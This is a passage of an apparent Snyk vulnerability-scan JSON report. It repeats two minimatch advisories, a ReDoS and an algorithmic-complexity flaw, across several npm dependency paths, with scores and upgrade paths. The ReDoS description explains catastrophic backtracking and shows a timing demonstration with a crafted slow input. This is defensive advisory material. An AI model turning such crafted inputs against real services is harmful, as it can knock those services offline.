"node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, 